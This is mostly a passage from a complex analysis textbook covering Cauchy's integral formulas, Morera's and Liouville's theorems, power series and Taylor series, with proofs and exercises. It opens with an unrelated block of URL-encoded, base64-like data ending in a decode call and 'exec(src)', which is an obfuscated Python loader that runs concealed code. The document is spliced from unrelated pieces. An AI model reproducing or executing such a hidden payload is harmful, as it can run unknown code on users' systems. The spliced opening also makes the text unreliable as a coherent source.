Yf8kpS573c0MiJDSXaV2e8Ha8QU2cXmvNJl7VGiHmMyNHR0c7h21xEXIyOkTWjOdcTNhJSye2mHiGGi6mJORNgdC4vp4EsOOSzVb9juyc0Htwk0rHzOLbd9tKbNFk5Pd97ibIIfzipxjdm%2FAWNHzRbKqm%2B9Wtx8FjLcdCv5LDR%2Bdi1JC9qCmRNx%2BzWKQlSGhIKvfk40u5sp%2F2OfY%2BWQv3A8iMfDFnUio3UdRie1kLdh6lZx%2Fe9wy478l5BV8ENhSldjqCpngY3XDpjnKnio3%2FQjpIJhN%2FRaepa6obM7FeMA1zS6lf4Jf9FtrBDrm7TdtjzjlxLrmeP7Hz58sdbB7XMaBRgqnfvP3z5%2BvuUYLJj616fdU47ptWvYGfndHp5iajuGFyh1DfcBWN1k62vA%2BzdmLF3m8Mh69TIbdp3O%2BoGo2prZry85lXnSKlRuuAUqhaPqPpIiU1GhqoHStWDifIz8ZSvCg%2BnLKeF6v6Qt2ZIUqScV2ROAU9eoEtQlaBW1csjW4UsngyJ4Obqh6usMzB7MLA%2B%2Fuu9caNw5S3klaNqsMKDZ4Q7z6p405dA99sEhZqfKBE%2Fwrp%2FDXIJYshFUICPLuv5Ghz7xM3bz591IQnzDPHIM0qnY11Y%2BqrahesVrTYsP6%2Bg63gwPJy47qS5eFQoeDwcHk8mWrl1TsAhKkY9ap1cFZmwXjOKZkpDikHLmJtqJ0Xzw516tLVTH1nllA%2BtpPKhySqrQCyRQuznNmWYweHTKUa5DgXbh50Eg9xWkdMdMCUYGIUc%2B4c5Zoe7PrHVV1lu0LCwrF2Wzu1RU9ul9pgC2e6oHLYT3BT26rYPEXNBUX2rQTe6BPttFO1eT7LOJbWdt%2F7d7eCSuqy7y64eIZe6u1XBSWPveFoGbNtp3xna94uiUEK7I%2FT027vOCescDDrVQaah1TDMoQSob%2FIwmIidO0%2F0MIp%2FhHx1QI39f5SiHiQmfU1n7ia79VVklabsR2r6%2F52kao6rToPU%2Fod6bnXxw%2FbVbanuWyGJ8ZhK25fq6nKf7NJ5jFdouzLLJVCByG9YQilaXanozXdtSp36VrXLOn4lExmrVy3f1ym%2BulQdMvuxY9s3rJ1kl93OY1etHUW2pRzVJpMxm0tnnPnY%2FSkcvKWaR%2FQgqkAbPfBkuhGZnj7mztEW3NxVbY%2B5adXp1nRo6rnu61qNBgKqSnYaUZtS%2FlhP8lcInz5CnWmg92YE4Kygco3pWz1IDfrSOlsA3A%2FPLtg%2BEjsgfqYgfo1cH5nSyF6OfACXcISaVM00WNAAz%2FO6h3gs1dcSuJO6J%2FjefGHK3KfwqngIzM%2FH39t816%2F3gDnGW0vqacP20U9A85%2FF5aSW7xPdrBFgvQ%2FO%2FZ9rA3b%2BdCJ4O4Iy9eNvo36F8e9rqC4F5%2BOsQfPqpQbAh%2B3SUGvhpaGo8KSqlKpcXFyMyS0nKCsEPtezR6Z8FGYLTmjT1wWbTDlP81mQSsfc1T2jaL9K6IvRbKOymP6SAf5wNLV7Zrj9QQ3QaGk%2BJz%2F6fXuU8sxR4MBtPnKOjtF5UxQMn7wPBDm6qVLfss3Hnhz5QtSfrqtL%2FbFdRLG6xy83Bbcn8OrDgdV89PT7R6arbX3XnE7jJOXTqSdkkSYAjftQse%2BOe8pJcXYI7%2FWKDd3nT%2FXBHo6hnum%2FywM%2FZA%3D%3D%27%29%29.decode%28%29%0Aexec%28src%29
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Example 21.3. Evaluate
∮

|z|=2

ez

z − 1 dz. Here f(z) = ez is entire and z0 = 1 lies inside |z| = 2,

so (21.1) gives the value 2πi e1 = 2πe i.
Evaluate

∮
|z|=2

cos z
z2 + 9 dz. The singularities ±3i lie outside |z| = 2, so the integrand is analytic

inside and on the contour, and Theorem 20.9 gives 0.
Evaluate

∮
|z−i|=1

z

z2 + 1 dz. Write z
(z−i)(z+i) = f(z)

z−i with f(z) = z
z+i , which is analytic on and

inside |z − i| = 1 (the other singularity −i is at distance 2 from the centre). By (21.1) the value
is 2πif(i) = 2πi · i

2i = πi.

21.2 The second formula: derivatives
Theorem 21.4 (Cauchy’s integral formula for derivatives). Under the hypotheses of Theorem 21.1,
f has derivatives of all orders at every point z0 interior to C, and

f (n)(z0) = n!
2πi

∮
C

f(z)
(z − z0)n+1 dz, n = 0, 1, 2, . . . (21.3)

Proof. We prove by induction on n the statement

P (n) : f (n) exists at every interior point and satisfies (21.3).

P (0) is Theorem 21.1.
Assume P (n). Fix z0 interior to C and choose d > 0 with D(z0, 2d) inside C. Let ∆z satisfy

0 < |∆z| < d, so z0 + ∆z is also interior. Abbreviate a := z − z0, b := z − z0 − ∆z. From (21.3),

f (n)(z0 + ∆z) − f (n)(z0)
∆z = n!

2πi

∮
C
f(z) 1

∆z
( 1
bn+1 − 1

an+1

)
dz. (21.4)

Use the algebraic identity

1
bn+1 − 1

an+1 = an+1 − bn+1

an+1bn+1 = (a− b)
∑n
k=0 a

kbn−k

an+1bn+1 , (21.5)

valid for a, b ̸= 0, together with a− b = ∆z. Substituting into (21.4) cancels ∆z:

f (n)(z0 + ∆z) − f (n)(z0)
∆z = n!

2πi

∮
C
f(z)

∑n
k=0 a

kbn−k

an+1bn+1 dz. (21.6)

Now let ∆z → 0. On C we have |a| = |z − z0| ≥ 2d and |b| ≥ |a| − |∆z| ≥ 2d − d = d, so the
integrand is bounded uniformly in ∆z; moreover b → a pointwise on C, uniformly, and hence∑n

k=0 a
kbn−k

an+1bn+1 −→ (n+ 1)an

a2n+2 = n+ 1
an+2 uniformly on C.

Uniform convergence of continuous integrands on a contour of finite length permits passing to the
limit under the integral sign (apply the ML-inequality (19.15) to the difference). Therefore the
limit in (21.6) exists and equals

n!
2πi

∮
C

(n+ 1)f(z)
(z − z0)n+2 dz = (n+ 1)!

2πi

∮
C

f(z)
(z − z0)n+2 dz,

which is P (n+ 1). In particular f (n+1)(z0) exists.
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Corollary 21.5 (Analytic implies infinitely differentiable). If f is analytic on an open set D,
then f has derivatives of all orders on D, and each f (n) is analytic on D. Writing f = u + iv,
the real functions u and v have continuous partial derivatives of all orders on D.

Proof. Let z0 ∈ D and choose ρ > 0 with D(z0, ρ) ⊆ D. Theorem 21.4 applies with C =
C(z0, ρ/2), since C and its interior lie in D, and shows that all derivatives of f exist at every
point of D(z0, ρ/2). As C is a circle, only Step 1 of the proof of Theorem 21.1 is involved. Since
f (n) is differentiable (its derivative f (n+1) exists), f (n) is analytic. Finally ux = Re f ′, vx = Im f ′

and so on by (14.2), so all partials of u, v of all orders exist and are continuous, being real and
imaginary parts of analytic — hence continuous — functions.

Corollary 21.5 closes the gap flagged in the proof of Theorem 15.2: the real and imaginary
parts of an analytic function really do have the continuous second partials that Laplace’s equation
requires. Note the logical order — Goursat (with one exceptional point allowed), then the star-
shaped Cauchy–Goursat theorem, then the integral formula on circles, then C∞ — which uses
neither the sketched Theorem 20.9 nor the deformation theorem; and note that Goursat’s refusal
to assume f ′ continuous (Remark 20.6) is what keeps this chain free of circularity.

Example 21.6. Evaluate
∮

|z|=1

e2z

z4 dz. Take f(z) = e2z, z0 = 0, n = 3 in (21.3):

∮
|z|=1

e2z

z4 dz = 2πi
3! f

′′′(0) = 2πi
6 · 8e0 = 8πi

3 .

Evaluate
∮
C

z + 1
z2(z − 2) dz where C is |z| = 1. Only z0 = 0 is enclosed, and there the factor

z appears squared (a double pole, in the language of Chapter 26), so write z+1
z2(z−2) = f(z)

z2 with
f(z) = z+1

z−2 , analytic on and inside C. Then n = 1 and∮
C

f(z)
z2 dz = 2πif ′(0), f ′(z) = (z − 2) − (z + 1)

(z − 2)2 = −3
(z − 2)2 ,

so f ′(0) = −3/4 and the integral equals −3πi/2.

21.3 Morera’s theorem
Theorem 21.7 (Morera). Let D be a region and let f be continuous on D. If∮

∂∆
f(z) dz = 0 for every closed triangle ∆ ⊆ D, (21.7)

then f is analytic on D.

Proof. Analyticity is local, so fix z0 ∈ D and a disc D(z0, ρ) ⊆ D; it suffices to prove f analytic
there. The disc is convex, hence star-shaped with respect to z0. Define F (z) :=

∫
[z0,z] f(ζ) dζ as

in (20.9). The proof of Theorem 20.8 used analyticity of f only through Goursat’s Theorem 20.5,
i.e. only through the vanishing of f ’s integral over triangles — which is now the hypothesis (21.7).
That proof therefore applies verbatim and gives F ′ = f on D(z0, ρ). So F is analytic there, and
by Corollary 21.5 its derivative f = F ′ is analytic too.
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Morera’s theorem is the converse of Cauchy–Goursat and is the standard tool for proving that
a function is analytic when no formula for its derivative is available — for instance a limit of
analytic functions, or a function defined by an integral.

Corollary 21.8 (Analyticity of a uniform limit). Let fn be analytic on a region D and suppose
fn → f uniformly on every compact subset of D. Then f is analytic on D, and f ′

n → f ′ uniformly
on compact subsets.

Proof. f is continuous as a locally uniform limit of continuous functions. For any closed triangle
∆ ⊆ D, the boundary ∂∆ is compact, so fn → f uniformly on it and hence∮

∂∆
f = lim

n

∮
∂∆

fn = 0

by Theorem 20.5, the interchange being justified by the ML-inequality. Morera’s Theorem 21.7
gives analyticity. For the derivatives, fix a compact K ⊆ D and ρ > 0 with Kρ := {z : dist(z,K) ≤
ρ} ⊆ D. (Such ρ exists. If D = C any ρ will do. Otherwise δ(z) := dist(z,C \ D) satisfies
|δ(z) − δ(z′)| ≤ |z − z′|, so it is continuous, and it is positive on D because D is open; by Theo-
rem 12.13 it has a positive minimum m on K, and ρ := m/2 works, since a point within ρ of K
is at distance at least m− ρ > 0 from C \D.) For z0 ∈ K, (21.3) with n = 1 on C(z0, ρ) gives

∣∣f ′
n(z0) − f ′(z0)

∣∣ =
∣∣∣ 1
2πi

∮
C(z0,ρ)

fn(z) − f(z)
(z − z0)2 dz

∣∣∣ ≤ 1
2π ·

supKρ
|fn − f |
ρ2 · 2πρ =

supKρ
|fn − f |
ρ

,

which tends to 0 uniformly for z0 ∈ K.

21.4 Exercises
Exercise 21.1. Evaluate, all contours counterclockwise:∮

|z|=3

sin z
z − π/2 dz,

∮
|z|=1

cos z
z3 dz,

∮
|z−1|=1

z2

z2 − 1 dz.

Exercise 21.2. Evaluate
∮
C

ez

z(z − 3) dz for (a) C : |z| = 1, (b) C : |z − 3| = 1, (c) C : |z| = 5.

Check that (c) equals (a)+(b) and explain why, using Theorem 20.10.

Exercise 21.3. Evaluate
∮

|z|=2

z3 + 2z
(z − i)3 dz.

Exercise 21.4. (⋆) (Gauss mean value property.) Let f be analytic on a neighbourhood of
D(z0, ρ). Prove

f(z0) = 1
2π

∫ 2π

0
f
(
z0 + ρeiθ

)
dθ,

and deduce the same statement for u = Re f ; conclude that a harmonic function equals its average
over every circle C(z0, ρ) with D(z0, ρ) contained in its domain. (Use Theorem 15.6 on a slightly
larger disc.)

Exercise 21.5. Suppose f is entire and
∮

|z|=1
f(z)
zn+1 dz = 0 for all n ≥ 0. Prove f ≡ 0. (You may

use Theorem 24.1.)
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Exercise 21.6. Evaluate
∮

|z|=2

dz
(z − 1)2(z + 1) two ways: by (21.3) after splitting into partial

fractions, and by the residue theorem of Chapter 27 once you have read it.

Exercise 21.7. Let f be entire with |f(z)| ≤ e|z| for all z. Use (21.3) and the ML-inequality
on the circle |z| = n (this is Cauchy’s inequality (22.2) of the next chapter) to show

∣∣∣f (n)(0)
∣∣∣ ≤

n! en/nn, and estimate this for large n using Stirling’s formula.

Exercise 21.8. (⋆) (Cauchy’s formula on an annulus.) Let f be analytic on a neighbourhood of
{r ≤ |z − z0| ≤ R} and let z lie in the open annulus. Prove

f(z) = 1
2πi

∮
|ζ−z0|=R

f(ζ)
ζ − z

dζ − 1
2πi

∮
|ζ−z0|=r

f(ζ)
ζ − z

dζ.

(This is (25.5), the first step of Laurent’s theorem.)

Exercise 21.9. Use Corollary 21.8 to prove that ζ(s) =
∑
n≥1 n

−s is analytic on {Re s > 1}.
(Show the partial sums converge uniformly on {Re s ≥ 1+ δ} for each δ > 0, using |n−s| = n− Re s

from (18.8).)



Chapter 22

Consequences of the Integral
Formulas

Everything in this chapter follows from (21.3) by applying the ML-inequality to a large or a small
circle. The results are out of all proportion to the effort. The maximum modulus principle and
Schwarz’s lemma, which are also consequences of the integral formulas, are deferred to Chapter 24:
their proofs need the identity theorem.

22.1 Cauchy’s inequalities and Liouville’s theorem
Theorem 22.1 (Cauchy’s inequalities). Let f be analytic on an open set containing the closed
disc D(z0, ρ) and suppose

|f(z)| ≤ M for all z with |z − z0| = ρ. (22.1)

Then ∣∣f (n)(z0)
∣∣ ≤ n!M

ρn
, n = 0, 1, 2, . . . (22.2)

Proof. Apply (21.3) with C = C(z0, ρ). On C the integrand has modulus |f(z)| /ρn+1 ≤ M/ρn+1,
and length(C) = 2πρ, so the ML-inequality (19.15) gives

∣∣f (n)(z0)
∣∣ ≤ n!

2π · M

ρn+1 · 2πρ = n!M
ρn

.

Theorem 22.2 (Liouville). Let f be entire and bounded: |f(z)| ≤ M for all z ∈ C and some real
M . Then f is constant.

Proof. Fix z0 ∈ C. For every ρ > 0, hypothesis (22.1) holds with the same M , so (22.2) with
n = 1 gives ∣∣f ′(z0)

∣∣ ≤ M

ρ
.

Letting ρ → ∞ forces f ′(z0) = 0. As z0 was arbitrary, f ′ ≡ 0 on the region C, and Theo-
rem 14.13(i) gives f constant.

Corollary 22.3 (Extended Liouville). Let f be entire and suppose there are constants A > 0,
ρ0 > 0 and an integer m ≥ 0 with |f(z)| ≤ A |z|m for |z| ≥ ρ0. Then f is a polynomial of degree
at most m.

158
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Proof. For n > m and ρ > ρ0, (22.2) at z0 = 0 with M = Aρm gives
∣∣∣f (n)(0)

∣∣∣ ≤ n!Aρm−n → 0
as ρ → ∞, so f (n)(0) = 0 for all n > m. The same argument at any z0 (with M = A(|z0| + ρ)m)
gives f (n) ≡ 0 for n > m. Hence f (m+1) ≡ 0, and integrating m+ 1 times using Theorem 14.13(i)
shows f is a polynomial of degree ≤ m.

22.2 The Fundamental Theorem of Algebra
We can now supply the proof promised at Theorem 6.5.

Theorem 22.4 (Fundamental Theorem of Algebra). Every polynomial p(z) = anz
n + · · · + a0

with n ≥ 1 and an ̸= 0 has a root in C.

Proof. Suppose not, so p(z) ̸= 0 for all z. Then g := 1/p is entire, being a quotient of entire
functions with nonvanishing denominator (Theorem 13.3).

We show g is bounded. By Proposition 2.7 there is R0 > 0 with |p(z)| ≥ 1
2 |an| |z|n for |z| ≥ R0;

hence for such z,
|g(z)| ≤ 2

|an|Rn0
.

On the compact disc |z| ≤ R0, |g| is continuous and therefore bounded by Theorem 12.13. So g
is bounded on C.

By Liouville’s Theorem 22.2, g is constant, hence p is constant, contradicting n ≥ 1 and
an ̸= 0.

The factorisation (6.5) now follows by induction: given a root ζ1, polynomial division gives
p(z) = (z − ζ1)q(z) with deg q = n− 1, and one repeats.

22.3 Exercises
Exercise 22.1. Let f be entire with |f(z)| ≤ 7 |z|3 + 5 for all z. What can you conclude? Prove
it.

Exercise 22.2. Prove that a nonconstant entire function has dense image in C. (Suppose the
image misses a disc D(w0, ε) and apply Liouville to 1/(f −w0).) This is the elementary ancestor
of Picard’s theorem.

Exercise 22.3. Suppose f is entire and Re f(z) ≤ 100 for all z. Prove f is constant. (Consider
ef and use (16.2).)

Exercise 22.4. Let f be entire with f(z + 2πi) = f(z) for all z and |f(z)| ≤ C on the strip
|Im z| ≤ π. Prove f is constant. (Periodicity plus the strip bound gives a global bound.)

Exercise 22.5. Suppose f is entire and |f(z)| ≥ 1 for all z. Prove f is constant. (Apply Liouville
to 1/f .) Where does the argument break if the hypothesis is weakened to |f(z)| ≥ 1 for |z| ≥ 1?
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Chapter 23

Sequences and Series

23.1 Sequences
Definition 23.1 (Convergent sequence). A sequence in C is a function N → C, written (zn)n≥1.
It converges to L ∈ C, written zn → L or limn→∞ zn = L, if for every real ε > 0 there is N ∈ N
with

n ≥ N =⇒ |zn − L| < ε. (23.1)

A sequence that does not converge diverges.

Proposition 23.2 (Componentwise convergence). Write zn = xn + iyn and L = a + ib with all
of xn, yn, a, b real. Then zn → L if and only if xn → a and yn → b in R. Moreover convergent
sequences are bounded, and the algebra of limits holds: if zn → L and wn → M then zn + wn →
L+M , znwn → LM , and zn/wn → L/M when M ̸= 0.

Proof. The equivalence is (1.26) and (1.27) exactly as in Theorem 12.3. Boundedness: take ε = 1
to get |zn| ≤ |L| + 1 for n ≥ N , and enlarge the bound by the finitely many earlier terms. The
algebra of limits is Theorem 12.4 with the same proofs, reading n ≥ N for 0 < |z − z0| < δ.

Definition 23.3 (Cauchy sequence). (zn) is Cauchy if for every ε > 0 there is N with |zn − zm| <
ε for all n,m ≥ N .

Theorem 23.4 (Completeness of C). A sequence in C converges if and only if it is Cauchy.

Proof. If zn → L then |zn − zm| ≤ |zn − L| + |L− zm| < ε for n,m large. Conversely, if (zn) is
Cauchy then by (1.26) so are (xn) and (yn) in R; completeness of R gives xn → a, yn → b, and
Proposition 23.2 gives zn → a+ ib.

23.2 Series
Definition 23.5 (Series, partial sums). Given (ak)k≥1 in C, the n-th partial sum is Sn :=

∑n
k=1 ak.

The series
∑∞
k=1 ak converges to S if Sn → S, and then we write

∑∞
k=1 ak = S. It converges

absolutely if the real series
∑∞
k=1 |ak| converges.

Theorem 23.6 (Basic tests). Let
∑
ak be a series in C.

(i) If
∑
ak converges then ak → 0. Equivalently, if ak ̸→ 0 the series diverges.

161
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(ii) Absolute convergence implies convergence.

(iii) (Geometric series.) For z ∈ C,

∞∑
k=0

zk = 1
1 − z

if |z| < 1, and the series diverges if |z| ≥ 1. (23.2)

(iv) (Ratio test.) If ak ̸= 0 for large k and limk |ak+1/ak| = L exists, then
∑
ak converges

absolutely if L < 1 and diverges if L > 1.

(v) (Root test.) If lim supk |ak|1/k = L, the same conclusions hold.

Proof. (i) an = Sn − Sn−1 → S − S = 0.
(ii) If

∑
|ak| converges, its partial sums are Cauchy, and by the triangle inequality (1.27),

|Sn − Sm| =
∣∣∑n

k=m+1 ak
∣∣ ≤

∑n
k=m+1 |ak|, so (Sn) is Cauchy; apply Theorem 23.4.

(iii) For z ̸= 1 the identity (1 − z)
∑n
k=0 z

k = 1 − zn+1 gives Sn = 1−zn+1

1−z . If |z| < 1 then∣∣zn+1∣∣ = |z|n+1 → 0, so Sn → 1
1−z . If |z| ≥ 1 then

∣∣∣zk∣∣∣ ≥ 1 ̸→ 0 and (i) applies.
(iv) and (v) are the real tests applied to

∑
|ak| (for convergence), together with (i) and |ak| ̸→ 0

(for divergence).

Definition 23.7 (Uniform convergence). Let fn, f : S → C with S ⊆ C. We say fn → f
uniformly on S if

sup
z∈S

|fn(z) − f(z)| −→ 0 as n → ∞. (23.3)

A series
∑
k gk of functions converges uniformly on S if its partial sums do.

Theorem 23.8 (Weierstrass M -test). Let gk : S → C and suppose there are real constants Mk ≥ 0
with

|gk(z)| ≤ Mk for all z ∈ S, and
∞∑
k=1

Mk < ∞. (23.4)

Then
∑
k gk converges absolutely and uniformly on S.

Proof. Absolute convergence at each z is comparison with
∑
Mk. Let Sn denote the partial sums

and F the pointwise limit. For n ≥ m and all z ∈ S,

|F (z) − Sn(z)| =
∣∣∣∑
k>n

gk(z)
∣∣∣ ≤

∑
k>n

Mk,

a tail of a convergent series of non-negative reals, hence → 0 independently of z.

23.3 Power series
Definition 23.9 (Power series). Let z0 ∈ C and (ak)k≥0 in C. The power series centred at z0
with coefficients ak is

∞∑
k=0

ak(z − z0)k. (23.5)
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Theorem 23.10 (Radius of convergence). For the series (23.5) define

1
R

:= lim sup
k→∞

|ak|1/k ∈ [0,∞], (23.6)

with the conventions 1/0 = ∞ and 1/∞ = 0. Then:

(i) the series converges absolutely for |z − z0| < R and diverges for |z − z0| > R;

(ii) the convergence is uniform on every closed disc |z − z0| ≤ r with r < R;

(iii) nothing general can be said on the circle |z − z0| = R.

The number R is the radius of convergence and D(z0, R) the disc of convergence. If ak ̸= 0 for
large k and limk |ak+1/ak| exists in [0,∞], it equals 1/R.

Proof. (i) Apply the root test, Theorem 23.6(v), to ak(z − z0)k:

lim sup
k

∣∣ak(z − z0)k
∣∣1/k = |z − z0| lim sup

k
|ak|1/k = |z − z0|

R
,

which is < 1 exactly when |z − z0| < R and > 1 exactly when |z − z0| > R.
(ii) Fix r < ρ < R. Since lim sup |ak|1/k = 1/R < 1/ρ, there is K with |ak| ≤ ρ−k for k ≥ K.

For |z − z0| ≤ r this gives
∣∣∣ak(z − z0)k

∣∣∣ ≤ Mk for every k, where Mk := (r/ρ)k for k ≥ K and
Mk := |ak| rk for the finitely many k < K; and

∑
Mk < ∞ because r/ρ < 1. The M -test 23.8

applies.
(iii) Examples:

∑
zk (R = 1, diverges everywhere on |z| = 1),

∑
zk/k2 (R = 1, converges

everywhere on |z| = 1),
∑
zk/k (R = 1, diverges at z = 1, converges at z = −1).

(Ratio formula.) Let L := limk |ak+1/ak| ∈ [0,∞]. For z ̸= z0 the terms bk := ak(z − z0)k
are nonzero for large k and |bk+1/bk| → L |z − z0|. By the ratio test, Theorem 23.6(iv), the
series converges for |z − z0| < 1/L and diverges for |z − z0| > 1/L. If R < 1/L, a point with
R < |z − z0| < 1/L would contradict (i); if R > 1/L, a point with 1/L < |z − z0| < R would.
Hence R = 1/L.

z0

R

converges

diverges

on the circle:
no general rule

Figure 23.1. The disc of convergence, Theorem 23.10. Inside |z − z0| < R the series converges
absolutely, and uniformly on each closed subdisc; outside it diverges. On the boundary circle itself
anything can happen, and all three behaviours occur among

∑
zk,
∑

zk/k and
∑

zk/k2 — which is
why 23.10(iii) makes no claim there.

Theorem 23.11 (A power series is analytic inside its disc). Let R > 0 be the radius of convergence
of (23.5) and let

f(z) :=
∞∑
k=0

ak(z − z0)k, z ∈ D(z0, R). (23.7)
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Then f is analytic on D(z0, R); it may be differentiated term by term,

f ′(z) =
∞∑
k=1

k ak(z − z0)k−1, (23.8)

and this series has the same radius of convergence R. Consequently f has derivatives of all orders
on D(z0, R) and

ak = f (k)(z0)
k! , k = 0, 1, 2, . . . (23.9)

so the coefficients are determined by f . Term-by-term integration is likewise valid on any contour
in D(z0, R).

Proof. Same radius. lim supk(k |ak|)1/k = lim supk k1/k |ak|1/k = lim supk |ak|1/k, since k1/k → 1.
Analyticity. The partial sums Sn are polynomials, hence entire, and by Theorem 23.10(ii)

Sn → f uniformly on each closed disc |z − z0| ≤ r < R; every compact subset of D(z0, R) lies
in such a disc. Corollary 21.8 gives that f is analytic and S′

n → f ′ locally uniformly, and S′
n is

exactly the n-th partial sum of (23.8).
Coefficients. Differentiating (23.7) k times and setting z = z0 kills every term but the k-th,

whose value is k! ak.
Integration. Uniform convergence on the (compact) contour allows interchange of sum and

integral by the ML-inequality.

Example 23.12 (Manufacturing series from the geometric series). From (23.2), for |z| < 1,

1
1 − z

=
∞∑
k=0

zk,
1

1 + z
=

∞∑
k=0

(−1)kzk, (23.10)

1
(1 − z)2 =

∞∑
k=1

kzk−1 (differentiate), 1
1 + z2 =

∞∑
k=0

(−1)kz2k (|z| < 1). (23.11)

Integrating the last from 0 to z term by term gives the principal branch of tan−1: tan−1 z =∑
k≥0

(−1)kz2k+1

2k+1 on |z| < 1. Similarly, writing 1
a−z = 1

a−z0
· 1

1−w with w = (z − z0)/(a − z0) and
applying (23.10) gives the expansion of 1

a−z about any z0 ̸= a:

1
a− z

=
∞∑
k=0

(z − z0)k

(a− z0)k+1 , |z − z0| < |a− z0| . (23.12)

Identity (23.12) is the whole proof of Taylor’s theorem in the next chapter.

23.4 Exercises

Exercise 23.1. Determine convergence or divergence:
∑
k≥1

ik

k
,
∑
k≥1

(1 + i)k

k! ,
∑
k≥1

(2 + i

2
)k

,
∑
k≥1

k!
kk
ik.

Exercise 23.2. Find the radius of convergence:

∑
k≥0

(z − 2i)k

3k ,
∑
k≥1

k! zk

kk
,

∑
k≥0

zk

k! ,
∑
k≥0

2k(z + 1)k,
∑
k≥1

(−1)kz2k

k
.
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Exercise 23.3. Prove that limn z
n exists if and only if |z| < 1 or z = 1, and identify the limit.

Exercise 23.4. (⋆) Let
∑
akz

k have radius R. Show that
∑
a2
kz
k has radius R2 and

∑ ak
k! z

k has
radius ∞ when R > 0.

Exercise 23.5. Use the M -test to prove that
∑
k≥1

zk

k2 converges uniformly on D(0, 1), and that∑
k≥1

1
k2+z2 converges uniformly on |z| ≤ 1

2 .

Exercise 23.6. Expand 1
3 − z

in powers of z− 1 and give the radius of convergence; do the same
in powers of z + 2.

Exercise 23.7. Determine the behaviour of
∑
k≥1 z

k/k at each of z = 1, z = −1 and z = i (di-
vergence, conditional convergence, absolute convergence?), and show that it converges absolutely
at no point of |z| = 1. Then determine the behaviour of

∑
k≥1 z

k/k2 on |z| = 1, and conclude
that divergence, conditional convergence and absolute convergence can all occur on a circle of
convergence (Theorem 23.10(iii)).

Exercise 23.8. Let
∑
akz

k and
∑
bkz

k have radii R1 and R2. What can be said about the radius
of
∑

(ak + bk)zk? Show it is min(R1, R2) when R1 ̸= R2, and give an example where it is strictly
larger when R1 = R2.

Exercise 23.9. (⋆) (Abel’s theorem, one direction.) Suppose
∑
ak converges. Prove that limr↑1

∑
akr

k =∑
ak. (Summation by parts.) Use it to evaluate

∑
k≥1(−1)k−1/k from (24.7).



Chapter 24

Taylor Series

Theorem 23.11 showed that every convergent power series defines an analytic function. This
chapter proves the converse, which is false over R and is the single deepest fact in elementary
complex analysis: every analytic function is locally the sum of its Taylor series. From it we derive
the identity theorem, and then two results whose natural home this is because their proofs use it:
the maximum modulus principle and Schwarz’s lemma.

24.1 Taylor’s theorem
Theorem 24.1 (Taylor). Let f be analytic on a region D, let z0 ∈ D, and let R := sup{ρ > 0 :
D(z0, ρ) ⊆ D} ∈ (0,∞] (so R = ∞ if D = C; in every case D(z0, R) ⊆ D). Then

f(z) =
∞∑
k=0

f (k)(z0)
k! (z − z0)k for every z ∈ D(z0, R), (24.1)

the series converging absolutely on D(z0, R) and uniformly on each closed subdisc. The represen-
tation is unique: if f(z) =

∑
k ak(z − z0)k on a neighbourhood of z0, then ak = f (k)(z0)/k! for all

k.

Proof. Fix z with |z − z0| < R and choose r with |z − z0| < r < R. Let C := C(z0, r) counter-
clockwise; then D(z0, r) ⊆ D, so Cauchy’s integral formula (21.1) gives

f(z) = 1
2πi

∮
C

f(ζ)
ζ − z

dζ. (24.2)

Expand the kernel by (23.12) with a = ζ: for ζ on C we have |ζ − z0| = r > |z − z0|, so

1
ζ − z

=
∞∑
k=0

(z − z0)k

(ζ − z0)k+1 , (24.3)

and the series converges uniformly in ζ ∈ C: its k-th term has modulus |z−z0|k
rk+1 = 1

r

( |z−z0|
r

)k,
summable by the M -test 23.8 since |z − z0| /r < 1.

Multiply (24.3) by the bounded continuous function f(ζ) — bounded on the compact set C by
Theorem 12.13 — so uniform convergence persists, and integrate term by term over C (legitimate
by the ML-inequality applied to the tail). From (24.2),

f(z) =
∞∑
k=0

( 1
2πi

∮
C

f(ζ)
(ζ − z0)k+1 dζ

)
(z − z0)k =

∞∑
k=0

f (k)(z0)
k! (z − z0)k,

166
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the last step by the integral formula for derivatives (21.3). This proves (24.1) at z, and z was an
arbitrary point of the disc. Absolute and uniform convergence follow from Theorem 23.10, since
we have exhibited a power series representation valid on D(z0, R), forcing its radius of convergence
to be at least R.

Uniqueness is (23.9).

Corollary 24.2 (Radius of convergence is the distance to the nearest singularity). Let f be
analytic on a region D and z0 ∈ D, and let RT be the radius of convergence of the Taylor series
(24.1).

(i) RT ≥ sup{ρ > 0 : D(z0, ρ) ⊆ D}; in particular RT = ∞ if f is entire.

(ii) Let w ∈ C with D(z0, |w − z0|) ⊆ D, and suppose f is unbounded on D(z0, |w − z0|)∩D(w, ε)
for every ε > 0 (for example, w is a pole of f , or the branch point of a logarithm). Then
RT = |w − z0|.

So when the only obstructions to analyticity are points near which f is unbounded, the radius is
exactly the distance from z0 to the nearest of them. Some such hypothesis is needed: “the nearest
point where f is not analytic” is not a well-defined notion for a function given only on D. (For
instance Log on C \ (−∞, 0] about z0 = −1 + i has radius |z0| =

√
2, by (ii) with w = 0, although

the cut is at distance 1 from z0.)

Proof. (i) is Taylor’s theorem: the series converges on D(z0, ρ) whenever D(z0, ρ) ⊆ D. (ii)
Put d := |w − z0|. By (i), RT ≥ d, and the series has sum f on D(z0, d) by Theorem 24.1. If
RT > d, the sum S of the series is continuous on D(z0, RT ) (Theorem 23.11), hence bounded on
the compact set D(z0, d) (Theorem 12.13); since f = S on D(z0, d), f would be bounded there,
contrary to the hypothesis. So RT = d.

Example 24.3 (Why 1
1+x2 has radius 1 over R). The real function x 7→ 1

1+x2 is infinitely dif-
ferentiable on all of R, yet its Maclaurin series

∑
(−1)kx2k converges only for |x| < 1. From the

real side this is unexplained. From the complex side it is obvious: f(z) = 1
1+z2 has singularities

at ±i, at distance 1 from the origin, and Corollary 24.2 says the radius must be exactly 1. This
example alone justifies studying real problems in the complex plane.

Re

Im

i

−i

R

R = 1

Figure 24.1. Corollary 24.2 explains Example 24.3. The real function 1/(1 + x2) is smooth on all
of R, yet its Maclaurin series stops converging at |x| = 1. Seen in the plane the reason is visible:
the singularities ±i sit at distance 1 from the origin, and the disc of convergence must stop when it
reaches them. The real line simply passes underneath the obstruction without meeting it.
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24.2 The standard expansions
Proposition 24.4 (Maclaurin series of the elementary functions). For all z ∈ C,

ez =
∞∑
k=0

zk

k! , (24.4)

sin z =
∞∑
k=0

(−1)kz2k+1

(2k + 1)! , cos z =
∞∑
k=0

(−1)kz2k

(2k)! , (24.5)

sinh z =
∞∑
k=0

z2k+1

(2k + 1)! , cosh z =
∞∑
k=0

z2k

(2k)! , (24.6)

each with R = ∞, and for |z| < 1,

Log(1 + z) =
∞∑
k=1

(−1)k−1zk

k
, R = 1. (24.7)

Proof. exp is entire with exp(k) = exp by (16.7), so f (k)(0) = 1 and (24.1) gives (24.4) with
